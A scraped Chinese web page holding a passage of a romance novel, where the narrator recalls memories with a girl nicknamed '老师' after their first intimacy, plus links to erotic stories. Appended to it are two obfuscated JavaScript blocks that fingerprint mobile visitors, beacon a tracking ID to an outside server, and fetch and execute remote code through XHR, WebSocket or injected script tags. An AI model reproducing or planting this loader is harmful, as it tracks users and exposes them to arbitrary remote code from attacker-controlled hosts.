“已经基本上,不怎么疼了。……因为咏一直做得很温柔……”

扑簌簌地泪珠继续落下。

“老师……”

“对不起,哭起来了……我…心中充满了…和咏之间发生的许许多多事情……但能够结合在一起,是我即使做梦也不敢想的事……”

老师的话语,令我回想起过去的那段时光。

“和我只是吵架的,女孩。”

我一下子就完全明白过来,也许从旁人的眼光来看,我与老师的斗嘴就像一对情侣在说相声--只是男女间因为感情亲密而打情骂俏也说不定。

不管怎样,至少可以确定我和老师的“嘴上的争执”中并不带有恶意。

仔细地想一下的话,意外地无论何时,老师总是在我身旁。

(修学旅行的时候、因为是同班同学当然会在一起,但并不仅仅如此……说起来,当到了自由行动的时间时……)

“对了,老师,好不容易才来到这,想不想去看看真正原产地的‘长崎大杂烩’?”

“……我也,正有这打算。”

“嗯!”

(很难得地,彼此竟然取得了一致意见。)

完后正打算到外面去的时候,发现了正在四处巡视的老师……

(还是拜托店家让我们从后门逃走……哈,这真是两人的英勇事迹。)

现在一回想,真的很奇怪。

和老师除了每天日常的“吵嘴”外,还有因应四季时节固定的“特别版”。

(文化祭最后一天的营火舞会,不知为何一定是和老师一起跳的……

说起来我大年初一到神社去进行初次参拜的时候,结果又和老师走到了一起,我们还一块儿去抽了神签呢……啊,对了对了,因为老师抽中“大凶”

这种写着“心愿难了、重病难愈、失物难寻、候人不至、对象难求……总而言之,今年诸事不顺。”最糟糕的签种,真的让我笑翻了,她好象真的生气了,后来又重新抽了一次,这次才抽到“大吉”。哈哈哈……接下来就是情人节了……情人节……嗯?)


上一篇:【调教女友暴露】(01-02)【

下一篇:好色女友的凌辱(1-13)2012.02.02更新13


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};